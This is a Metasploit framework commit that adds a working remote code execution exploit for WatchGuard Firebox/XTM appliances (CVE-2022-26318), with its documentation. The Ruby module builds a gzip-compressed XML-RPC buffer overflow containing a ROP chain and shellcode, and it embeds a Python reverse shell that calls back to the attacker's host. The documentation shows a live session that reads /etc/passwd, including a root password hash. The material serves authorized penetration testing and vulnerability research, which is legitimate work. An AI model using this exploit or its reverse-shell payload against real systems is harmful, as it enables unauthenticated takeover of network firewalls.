Skip to content

Commit d7f3fd8

Browse files
committed
Land rapid7#18915, Add Watchguard RCE CVE-2022-26318
This PR adds a module for a buffer overflow at the administration interface of WatchGuard Firebox and XTM appliances. The appliances are built from a cherrypy python backend sending XML-RPC requests to a C binary called wgagent using pre-authentication endpoint /agent/login. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2. Successful exploitation results in remote code execution as user nobody.
2 parents 0580068 + 6e6f1be commit d7f3fd8

File tree

2 files changed

+317
-0
lines changed

2 files changed

+317
-0
lines changed
Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
## Vulnerable Application
2+
This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox and XTM appliances
3+
which is built from a cherrypy python backend sending XML-RPC requests to a C binary called `wgagent` using pre-authentication
4+
endpoint `/agent/login`.
5+
This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
6+
Successful exploitation results in remote code execution as user `nobody`.
7+
8+
## Installation
9+
### Installation steps to install Watchguard Firebox virtual appliance
10+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
11+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
12+
* Download the Watchguard Firebox `12.7.2` ova instance.
13+
* You can download it from [here](https://cdn.watchguard.com/SoftwareCenter/Files/XTM/12_7_2/FireboxV_12_7_2.ova).
14+
* Import the ova instance in your virtualization engine.
15+
* See instructions for VirtualBox [here](https://www.simplified.guide/virtualbox/vm-import).
16+
* Configure the network interfaces (first interface is WAN and second interface is internal).
17+
* You can either choose bridged or NAT depending on your preference for the test environment.
18+
* Boot up the Firebox VM.
19+
* You should be able to access the Watchguard Firebox either thru the console, `ssh` on port `4117`
20+
* or via the `webui` via `https://your_firebox_wan_ip:8080`.
21+
* The default account is `admin` and password is `readwrite`.
22+
23+
You are now ready to test the module.
24+
25+
## Verification Steps
26+
- [x] Start `msfconsole`
27+
- [x] `use exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318`
28+
- [x] `set rhosts <ip-target>`
29+
- [x] `set lhost <ip-attacker>`
30+
- [x] `set target <0=Automatic>`
31+
- [x] `exploit`
32+
33+
you should get a `interactive python shell` .
34+
35+
```shell
36+
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options
37+
38+
Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318):
39+
40+
Name Current Setting Required Description
41+
---- --------------- -------- -----------
42+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
43+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
44+
using-metasploit.html
45+
RPORT 8080 yes The target port (TCP)
46+
SSL true no Negotiate SSL/TLS for outgoing connections
47+
TARGETURI / yes WatchGuard Firebox base url
48+
VHOST no HTTP server virtual host
49+
50+
51+
Payload options (cmd/unix/reverse_python):
52+
53+
Name Current Setting Required Description
54+
---- --------------- -------- -----------
55+
CreateSession true no Create a new session for every successful login
56+
LHOST yes The listen address (an interface may be specified)
57+
LPORT 4444 yes The listen port
58+
SHELL /usr/bin/python yes The system shell to use
59+
60+
61+
Exploit target:
62+
63+
Id Name
64+
-- ----
65+
0 Automatic (Reverse Python Interactive Shell)
66+
67+
View the full module info with the info, or info -d command.
68+
```
69+
70+
## Options
71+
Please set the `SHELL` option to `/usr/bin/python` becuase this is the only shell available on the appliance.
72+
73+
## Scenarios
74+
### Watchguard Firebox Automatic - cmd/unix/reverse_python
75+
```shell
76+
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24
77+
rhosts => 192.168.201.24
78+
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8
79+
lhost => 192.168.201.8
80+
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit
81+
82+
[*] Started reverse TCP handler on 192.168.201.8:4444
83+
[*] Running automatic check ("set AutoCheck false" to disable)
84+
[*] Checking if 192.168.201.24:8080 can be exploited.
85+
[+] The target appears to be vulnerable.
86+
[*] 192.168.201.24:8080 - Attempting to exploit...
87+
[*] 192.168.201.24:8080 - Sending payload...
88+
[*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000
89+
90+
91+
Shell Banner:
92+
Python 2.7.14 (default, Oct 16 2019, 15:38:29)
93+
[GCC 6.5.0] on linux2
94+
-----
95+
96+
>>> import os
97+
>>> import subprocess
98+
>>> os.listdir("./")
99+
['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn',
100+
'.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label',
101+
'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log',
102+
'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt',
103+
'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock',
104+
'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py']
105+
>>>
106+
>>> os.getuid()
107+
99
108+
>>> os.getgid()
109+
96
110+
>>> print(open("/etc/passwd").read())
111+
root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash
112+
bin:x:1:1:bin:/bin:
113+
system:x:2:96:WG System daemons:/:
114+
nobody:x:99:99:Nobody:/:
115+
wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd:
116+
openvpn:x:97:97:OpenVPN daemon:/:
117+
www:x:96:95:WebUI:/:
118+
cli:x:95:95:CLI:/:
119+
cfm:x:94:94:CFM:/var/cfm_sandbox:
120+
agent:x:93:96:WG Agent:/:
121+
scand:x:91:94:Scanning Daemon:/var/run/scand:
122+
spamd:x:90:94:Spam Daemon:/var/cfm_sandbox:
123+
sshd:x:89:89:sshd privilege separation:/var/empty:
124+
quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga:
125+
wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha:
126+
netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg:
127+
cwagent:x:100:100:ConnectWise Agent:/var/empty:
128+
dimension:x:101:101:Dimension Service:/var/run/dimension:
129+
tss:x:102:102:trousers daemon:/:
130+
atagent:x:103:103:Autotask Agent:/var/empty:
131+
psad:x:104:104:PSA Daemon:/var/empty:
132+
guac:x:105:105:Guacamole Daemons:/var/run/guac:
133+
portald:x:106:105:Portald:/var/run/portald:
134+
admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
135+
wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli
136+
dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty:
137+
tpagent:x:111:96:Tigerpaw Agent:/var/empty:
138+
139+
>>> print(open("/etc/group").read())
140+
admin:x:0:0
141+
bin:x:1:admin,bin
142+
nobody:x:99:
143+
wgntp:x:98:
144+
openvpn:x:97:
145+
wg:x:96:
146+
ui:x:95:
147+
proxy:x:94:
148+
sshd:x:89:
149+
quagga:x:88:
150+
netdbg:x:87:
151+
cwagent:x:100:
152+
dimension:x:101:
153+
tss:x:102:
154+
atagent:x:103:
155+
psad:x:104:
156+
ctlvpn:x:105:
157+
dnswatchd:x:107:
158+
159+
>>> os.uname()
160+
('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64')
161+
>>>
162+
```
163+
## Limitations
164+
There is no `shell` installed and there is only a `busybox` version available with a very limited unix command set.
165+
The only option is to use the interactive python shell (`/usr/bin/python -i`) as payload to get access to the target.
166+
Check out `https://docs.python.org/2.7/library/os.html` to execute commands on the target.
167+
Another limitation is the crash of `wgagent` service that will show up in the diagnostic log and will break the user login via the `webui`.
168+
Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'zlib'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
include Msf::Exploit::Remote::HttpClient
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'WatchGuard XTM Firebox Unauthenticated Remote Command Execution',
18+
'Description' => %q{
19+
This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox
20+
and XTM appliances which is built from a cherrypy python backend sending XML-RPC requests to a C binary
21+
called wgagent using pre-authentication endpoint /agent/login.
22+
This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x
23+
before 12.5.9_U2. Successful exploitation results in remote code execution as user nobody.
24+
},
25+
'Author' => [
26+
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
27+
'Charles Fol (Ambionics Security)', # discovery
28+
'Dylan Pindur (AssetNote)', # reverse engineering of CVE-2022-26318'
29+
'Misterxid' # POC
30+
],
31+
'References' => [
32+
[ 'CVE', '2022-26318' ],
33+
[ 'URL', 'https://www.ambionics.io/blog/hacking-watchguard-firewalls' ],
34+
[ 'URL', 'https://www.assetnote.io/resources/research/diving-deeper-into-watchguard-pre-auth-rce-cve-2022-26318' ],
35+
[ 'URL', 'https://github.com/misterxid/watchguard_cve-2022-26318' ],
36+
[ 'URL', 'https://attackerkb.com/topics/t8Nrnu99ZE/cve-2022-26318' ]
37+
],
38+
'License' => MSF_LICENSE,
39+
'Platform' => [ 'unix' ],
40+
'Privileged' => false,
41+
'Arch' => [ ARCH_CMD ],
42+
'Targets' => [
43+
[
44+
'Automatic (Reverse Python Interactive Shell)',
45+
{
46+
'Platform' => [ 'unix' ],
47+
'Arch' => ARCH_CMD,
48+
'Type' => :unix_cmd,
49+
'DefaultOptions' => {
50+
'PAYLOAD' => 'cmd/unix/reverse_python',
51+
'SHELL' => '/usr/bin/python'
52+
}
53+
}
54+
]
55+
],
56+
'DefaultTarget' => 0,
57+
'DisclosureDate' => '2022-08-29',
58+
'DefaultOptions' => {
59+
'SSL' => true,
60+
'RPORT' => 8080
61+
},
62+
'Notes' => {
63+
'Stability' => [ SERVICE_RESOURCE_LOSS ],
64+
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
65+
'Reliability' => [ REPEATABLE_SESSION ]
66+
}
67+
)
68+
)
69+
register_options(
70+
[
71+
OptString.new('TARGETURI', [ true, 'WatchGuard Firebox base url', '/' ])
72+
]
73+
)
74+
end
75+
76+
def check_watchguard_firebox?
77+
res = send_request_cgi({
78+
'method' => 'GET',
79+
'uri' => normalize_uri(target_uri.path, 'auth', 'login'),
80+
'vars_get' => {
81+
'from_page' => '/'
82+
}
83+
})
84+
return true if res && res.code == 200 && res.body.include?('Powered by WatchGuard Technologies') && res.body.include?('Firebox')
85+
86+
false
87+
end
88+
89+
def create_bof_payload
90+
# temporary filename in /tmp where python payload will be stored.
91+
@py_fname = "/tmp/#{Rex::Text.rand_text_alphanumeric(4)}.py"
92+
# xml overflow payload
93+
payload = '<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'.encode
94+
payload << ('A' * 3181).encode
95+
payload << 'MFA>'.encode
96+
payload << ('<BBBBMFA>' * 3680).encode
97+
# padding and rop chain
98+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
99+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
100+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
101+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
102+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
103+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
104+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
105+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
106+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00"
107+
payload << "\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A"
108+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00"
109+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
110+
payload << "\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
111+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6"
112+
payload << "\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00"
113+
payload << "\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;"
114+
payload << "\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00"
115+
payload << "\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
116+
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00#{datastore['SHELL']}\x00#{@py_fname}\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef"
117+
payload << "\x01\x00\x00\x00\x00\x00\x00"
118+
# shell code to launch an reverse interactive python shell
119+
# The Watchguard appliance has a very restricted linux command set, readonly root filesystem and no unix shells installed
120+
# The interactive Python shell (-i) is for now the only way to get shell access
121+
payload << 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'.encode
122+
payload << "s.connect((\"#{datastore['LHOST']}\",#{datastore['LPORT']})); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);".encode
123+
payload << "call([\"#{datastore['SHELL']}\",\"-i\"]);".encode
124+
payload << "import os; os.remove(\"#{@py_fname}\");".encode
125+
return Zlib.gzip(payload)
126+
end
127+
128+
def check
129+
print_status("Checking if #{peer} can be exploited.")
130+
return CheckCode::Detected if check_watchguard_firebox?
131+
132+
CheckCode::Safe
133+
end
134+
135+
def exploit
136+
print_status("#{peer} - Attempting to exploit...")
137+
bof_payload = create_bof_payload
138+
print_status("#{peer} - Sending payload...")
139+
send_request_cgi({
140+
'method' => 'POST',
141+
'uri' => normalize_uri(target_uri.path, 'agent', 'login'),
142+
'headers' => {
143+
'Accept-Encoding' => 'gzip, deflate',
144+
'Content-Encoding' => 'gzip'
145+
},
146+
'data' => bof_payload
147+
})
148+
end
149+
end

0 commit comments

Comments
 (0)